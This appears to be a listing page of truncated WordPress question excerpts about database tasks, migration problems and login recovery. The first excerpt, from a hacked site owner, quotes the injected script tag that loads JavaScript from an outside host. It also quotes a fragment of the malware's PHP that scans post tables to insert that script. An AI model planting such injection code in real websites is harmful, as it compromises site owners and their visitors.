How to bulk delete a certain part of all wordpress posts

site been hacked, and all posts been injected a line of js code under the content! <script src='https://js.xxxxxxx.ga/stat.js?n=ns1' type='text/javascript'></script> I have found the malware file in the root directory, which inject the JS code with the command: $q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'"; $result = $conn->query($q); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 "; $result2 = $conn->query($q2); if ($result2->num_rows > 0) …
Category: Web

Importing posts content from csv

I want to export some specific posts from my database (csv or sql) and then replace content to these and import them back without changing the id number of the posts.I s this possible to do it and if it is, how? Thank you in advance.
Category: Web

how to get serialized post meta

I have posts that have video content and these videos stored in database like this (serialized) a:1:{s:9:"video_url";s:0:"";} This serialized data have post video urls but can not get this data. I used <?php echo get_post_meta(get_the_ID(), '_custom_field', TRUE); ?> But this get_post_meta display output "array" instead of video urls
Category: Web

$wpdb->query() vs. $wpdb->get_results() vs. phpMyAdmin

I have this code: $query = "SELECT * FROM $wpdb->posts INNER JOIN $wpdb->postmeta ON $wpdb->posts.ID = $wpdb->postmeta.post_id INNER JOIN $wpdb->term_relationships ON $wpdb->posts.ID = $wpdb->term_relationships.object_id WHERE ((post_type = 'projects') OR (post_type = 'post_cost_codes'));"; $results = $wpdb->query($query); // Takes 1.5 seconds I also tried this: $query = "SELECT * FROM $wpdb->posts INNER JOIN $wpdb->postmeta ON $wpdb->posts.ID = $wpdb->postmeta.post_id INNER JOIN $wpdb->term_relationships ON $wpdb->posts.ID = $wpdb->term_relationships.object_id WHERE ((post_type = 'projects') OR (post_type = 'post_cost_codes'));"; $results = $wpdb->get_results($query); // Still takes 1.5 seconds But …
Category: Web

Can't log into wordpress site - I have made a new user and still cant access

I recently took over website management for my company but I can not access 1 of our sites. The user name and password provided by the last management team does not work. I refrenced my Wp-Config to determine which SQLdb was being used. Then accessed phpMyAdmin and reviewed the wp_user table for the db and the user they provided was not even listed. I edited the existing admin user password (using MD5) and still could not log in with that …
Category: Web

Adding user data to an existing user_id

I'm using phpMyAdmin to add some new user records to the existing users within a WordPress database. The database is for a WordPress Multisite network. I had to migrate my old WP site to the new site, but the old one was a single WP database structure, and the new WP multisite has three new records for each user. My question is, how do I update/insert the thousands of existing user records with these three new user records for WP …
Category: Web

How do I remove/reset all current widgets from the database?

I recently migrated a site from a dev server to a web server and I appear to be stuck with a menu sidebar I had built in the old site that doesn't appear in the widget area of the new site's dashboard but appears on a page with side navigation regardless of settings applied. If I add in the correct menu with styling, I end up with both menus one above the other. I think it's something still stuck/stored in …
Category: Web

Changing Wordpress author name in database

I originally begun my wordpress site using a psudonym. Over the past few years I have been attributing my own name to all articles and have had the author name options switched off. Now I'm changing theme I want to get the benefit of having the correct author name show up automatically against each new post, and if possible changing all the old posts to this new author name. I'm wondering if it's possible to just change the name directly …
Category: Web

Missing latest posts and options after DB migration via phpMyAdmin

The latest posts and options are not appearing after importing the database. I'm missing all the latest posts and the latest Advanced Custom Fields. The export is from the remote server and import to my localhost – using phpMyAdmin on both ends. The database is quite big, 50MB unzipped, but it's under 8MG bzipped, which is how I'm handling it, so I don't think that's the problem. There are no error messages, and I get a success message after import. …
Category: Web

Set Display Name to first and last name (phpmyadmin SQL Query)

I'm trying to change all the users Display Names to be their first and last name. I have looked into a number of plugins and wrote my own PHP to try and accomplish this however the site has over 50,000 registered users (I can imagine most are spam from my clients previous site) but because of this the PHP hangs and only gets to about 2000 before giving up. So I thought that the next best thing would be to …
Category: Web

WordPress fails to install with "Can't Select Database" Error (WAMPServer)

UPDATE: 2020-07-12 I tried installing on Windows 10 64-bit and it failed to install WordPress with the same database error as on Windows 7. That tells me that either there is a bug in WAMPServer 3.2.0 or there is a bug in WordPress 5.4.2. because the issue occurs on both operating systems. ISSUE I'm installing WordPress on WAMP as a local development server, WordPress fails to install, so no config file is created. Can’t select database We were able to …
Category: Web

Gaining Login Access via the Database

I have been given a job to amend a Wordpress site. I have only been given access to Cpanel. My questions are can i log in to the back end of Wordpress via Cpanel? If you can't login via Cpanel can i change the details like username and password so i can log in? I have tried going into mySQL database to the phpmyadmin and making it have no password but that made things worse. I tried going into all …
Category: Web

Change word in woocommerce product category custom field

I have woocommerce shop with a large number of categories that have a filled custom field "custom_title". Each custom field has the word "Category" and I want to replace it with the word "Product category". I want make it throught SQL in PHPmyadmin, but i dont know how. I found that this custom field is in table wp_termmeta and this custom field meta_key = custom_title.
Category: Web

Broken wordpress site, non-working links and no access to wp-admin page

I was just handed a broken Wordpress site that I am now in charge of Administering (administrating?). EDIT: Since posting this, I have made some new discoveries about my issues. When trying to access the Wordpress Administration page (by clicking the link from logging into the dashboard), I get a 404-not found page. This 404 error page is branded (has same background and styling) as all the other pages on the website being hosted. I'm guessing my links are broken. …
Category: Web

Mysql Server keeps crashing

I'm using wordpress for my site and my server is vps with memory of 2GB and SSD 40GB. My SQL Server crashes every now and then for few seconds and the website shows 'can't connect to the database'. I optimized the database using phpmyadmin and that made no difference. I also tried to look into the wp_options table and found the around 360 options are auto loaded which I think isn't too much. I am using query monitor wordpress plugin …
Category: Web

Error establishing a database connection (Set-up locally)

This is my first time working on Wordpress and accessing site locally. The Wordpress site is on the github and I tried to pull the codes from there and accessing site already to my local machine but when I tried to access the site locally it always saying "Error establishing a database connection" I already checked DB_NAME, DB_USER and DB_PASSWORD inside wp-config.php and already created a database inside phpMyadmin locally and imported the DB from github but still the problem …
Category: Web

About

Geeks Mental is a community that publishes articles and tutorials about Web, Android, Data Science, new techniques and Linux security.